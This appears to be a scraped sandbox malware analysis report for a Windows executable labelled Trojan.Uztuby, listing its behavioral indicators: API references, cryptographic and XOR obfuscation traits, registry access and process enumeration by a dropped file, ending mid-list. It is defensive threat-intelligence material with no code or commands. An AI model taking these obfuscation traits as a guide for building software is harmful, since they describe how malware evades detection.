26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 6b:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T50a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic.81053169;Trojan.Uztuby Sample 0266dc2bf6eb… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0266dc2bf6eb…. Malware family: Trojan.Generic.81053169;Trojan.Uztuby. Threat score 100/100. 13/27 AV engines flagged this file. 15 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199","keywords":["Malicious","Trojan.Generic.81053169;Trojan.Uztuby","malware analysis","sandbox report","threat intelligence","0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199"],"about":{"@type":"SoftwareApplication","name":"bounty-11274888870579111","applicationCategory":["peexe","executable","compressed","sfx","rar"],"identifier":"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic.81053169;Trojan.Uztuby","antivirusDetections":{"malicious":13,"total":27},"behavioralIndicators":{"malicious":15,"suspicious":26},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T721,"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "LoadResource with parameter {'hModule': '3997696', 'hResInfo': '4408720'}" (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "LoadResource with parameter {'hModule': '3997696', 'hResInfo': '4408416'}" (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "LoadResource with parameter {'hModule': '3997696', 'hResInfo': '4408320'}" (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "LoadResource with parameter {'hModule': '3997696', 'hResInfo': '4408544'}" (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "LoadResource with parameter {'hModule': '1995243520', 'hResInfo': '3671536'}" (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "LoadResource with parameter {'hModule': '1702821888', 'hResInfo': '1703249992'}" (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "LoadResource with parameter {'hModule': '1702821888', 'hResInfo': '1703249528'}" (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "LoadResource with parameter {'hModule': '1702821888', 'hResInfo': '1703250008'}" (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "LoadResource with parameter {'hModule': '1702821888', 'hResInfo': '1703249560'}" (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "LoadResource with parameter {'hModule': '3997696', 'hResInfo': '4408400'}" (UID: 00000000-00005736)28:T822,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "WaitForMultipleObjects error %d, GetLastError %d" (Indicator: "WaitForMultipleObjects"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "WaitForMultipleObjects error %d, GetLastError %d" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp")29:T578,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp")2a:T92d,Found reference to "d73RC2y1ynTG8SShCrV" (Indicator: "RC2"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to "SHA1Managed" (Indicator: "SHA1Managed"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to "Rfc2898DeriveBytes" (Indicator: "DeriveBytes"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to "Rfc2898DeriveBytes" (Indicator: "Rfc2898DeriveBytes"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to "HMACSHA256" (Indicator: "HMAC"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to "HMACSHA256" (Indicator: "HMACSHA256"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to "CryptoStream" (Indicator: "CryptoStream"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") file/memory contains long string with (Indicator: "Rijndael"; File: "WzVKQIZW.log") file/memory contains long string with (Indicator: "RijndaelManaged"; File: "WzVKQIZW.log") file/memory contains long string with (Indicator: "SymmetricAlgorithm"; File: "WzVKQIZW.log") file/memory contains long string with (Indicator: "Rijndael"; File: "wXSnOmjT.log") file/memory contains long string with (Indicator: "RijndaelManaged"; File: "wXSnOmjT.log") file/memory contains long string with (Indicator: "SymmetricAlgorithm"; File: "wXSnOmjT.log") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; Source: "00000000-00006020.00000001.82692.00452000.00000020.mdmp") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; Source: "00000000-00006020.00000001.82692.00452000.00000020.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00006020.00000001.82692.00452000.00000020.mdmp")2b:Tc05,"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\CUSTOM\WSCRIPT.EXE") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APPCOMPAT") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APPCOMPAT") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APPCOMPAT") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\COMPATIBILITY ASSISTANT") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\COMPATIBILITY ASSISTANT") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED")2c:T4d2,"serverDriver.exe" queried SystemProcessInformation at 00000000-00006020-00000105-9678148 [PID: 6020] "serverDriver.exe" queried SystemProcessInformation at 00000000-00006020-00000105-9687513 [PID: 6020] "serverDriver.exe" queried SystemProcessInformation at 00000000-00006020-00000105-9689999 [PID: 6020] "serverDriver.exe" queried SystemProcessInformation at 00000000-00006020-00000105-9692257 [PID: 6020] "serverDriver.exe" queried SystemProcessInformation at 00000000-00006020-00000105-9975269 [PID: 6020] "serverDriver.exe" queried SystemProcessInformation at 00000000-00006020-00000105-9978475 [PID: 6020] "serverDriver.exe" queried SystemProcessInformation at 00000000-00006020-00000105-9981358 [PID: 6020] "serverDriver.exe" queried SystemProcessInformation at 00000000-00006020-00000105-9984085 [PID: 6020] "serverDriver.exe" queried SystemProcessInformation at 00000000-00006020-00000105-9987132 [PID: 6020] "serverDriver.exe" queried SystemProcessInformation at 00000000-00006020-00000105-9989832 [PID: 6020] "serverDriver.exe" queried SystemProcessInformation at 00000000-00006020-00000105-9992483 [PID: 6020] "serverDriver.exe" queried SystemProcessInformation at 00000000-00006020-00000105-9995118 [PID: 6020]2d:T4d6,Found reference to API "CryptProtectMemory" (Indicator: "CryptProtectMemory"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "CryptUnprotectMemory" (Indicator: "CryptUnprotectMemory"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "CryptProtectMemory failed" (Indicator: "CryptProtectMemory"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "CryptUnprotectMemory failed" (Indicator: "CryptUnprotectMemory"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "CryptProtectMemory failed" (Indicator: "CryptProtectMemory"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp") Found reference to API "CryptUnprotectMemory failed" (Indicator: "CryptUnprotectMemory"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp") Found reference to API "CryptProtectMemory" (Indicator: "CryptProtectMemory"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp") Found reference to API "CryptUnprotectMemory" (Indicator: "CryptUnprotectMemory"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp")2e:T5a8,Assembly shows XOR instruction xor eax ebp in Stream UID: 2753-269-0042F923 Assembly shows XOR instruction xor ecx ebp in Stream UID: 2753-269-0042F923 Assembly shows XOR instruction xor eax ebp in Stream UID: 2753-447-0042B893 Assembly shows XOR instruction xor ecx ebp in Stream UID: 2753-447-0042B893 Assembly shows XOR instruction xor eax ebp in Stream UID: 2753-1001-0042AF0A Assembly shows XOR instruction xor ecx ebp in Stream UID: 2753-1001-0042AF0A Assembly shows XOR instruction xor eax ebp in Stream UID: 2753-1107-0042B3DE Assembly shows XOR instruction xor ecx ebp in Stream UID: 2753-1107-0042B3DE Assembly shows XOR instruction xor dword ptr [ebp-08h] eax in Stream UID: 2753-1356-0041FD10 Assembly shows XOR instruction xor eax ebp in Stream UID: 2753-1356-0041FD10 Assembly shows XOR instruction xor ecx ebp in Stream UID: 2753-1356-0041FD10 Assembly shows XOR instruction xor eax ebp in Stream UID: 2753-1613-0042ADB1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 2753-1613-0042ADB1 Assembly shows XOR instruction xor eax ebp in Stream UID: 2753-1614-0042AE07 Assembly shows XOR instruction xor ecx ebp in Stream UID: 2753-1614-0042AE07 Assembly shows XOR instruction xor eax 01h in Stream UID: 2753-1691-00406FDD Assembly shows XOR instruction xor edi 01h in Stream UID: 2753-1702-0040966E Assembly shows XOR instruction xor dword ptr [esi+00h] eax in Stream UID: 2753-1867-0041B9852f:T4d2,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to decrypt/decode data Matched sigs: Contains ability to decode base64 data Matched sigs: Contains reference to crypto DLLs Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt data Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES encryption Matched sigs: YARA signature match – cryptographic algorithms30:T742a,Found XOR loop in file "serverDriver.exe" at offset 7033; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 22131; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 40883; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 132892; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 136016; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 141687; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 157314; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 164998; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 186992; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 332580; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 334922; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 358191; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 383239; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 443924; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 530269; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 590289; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 591071; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 594160; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 617071; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 621063; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 677250; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 678637; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 681324; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 731170; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 754465; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 926655; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 927605; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 965606; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 969268; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1006630; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1075675; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1115543; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1134730; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1316581; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1318743; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1350027; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1362987; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1452138; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1460296; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1522979; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1558139; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1570655; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1578134; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1594671; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1620032; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1654093; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1673455; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1737152; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1772279; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1847695; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 1848466; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 2018301; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 2079700; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 2082973; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 2111691; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 2187816; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 2213955; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 2574146; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 2598942; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 2661514; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 2692970; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 2847232; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 3086656; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 3168182; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 3342756; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 3352910; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 3526187; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 3529607; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 3543676; code bytes = 30d0 Found XOR loop in file "serverDriver.exe" at offset 122485; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 127060; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 127548; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 128267; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 438778; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 567490; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 640976; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 745120; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 805147; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 807493; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 875696; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 898266; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 921918; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 924053; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1015058; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1031253; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1162809; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1171821; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1172761; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1258789; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1364837; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1372552; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1478770; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1591991; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1614484; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1648666; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1649273; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1651615; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1730660; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1780544; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1780930; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1795323; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1854271; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1960515; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 1978356; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2124625; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2129762; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2175882; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2180508; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2190281; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2190433; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2244705; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2344066; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2412386; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2500004; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2517900; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2612725; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2638240; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2790933; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2860026; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2960329; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 2973472; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 3035428; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 3174813; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 3228007; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 3235007; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 3282069; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 3311165; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 3369020; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 3451561; code bytes = 33c1 Found XOR loop in file "serverDriver.exe" at offset 325614; code bytes = 30040e Found XOR loop in file "serverDriver.exe" at offset 291742; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 335001; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 336817; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 348797; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 354609; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 356654; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 368972; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 461520; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 567753; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 609314; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 652678; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 704691; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 803469; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 806112; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 900770; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 948052; code bytes = 8030 Found XOR loop in file 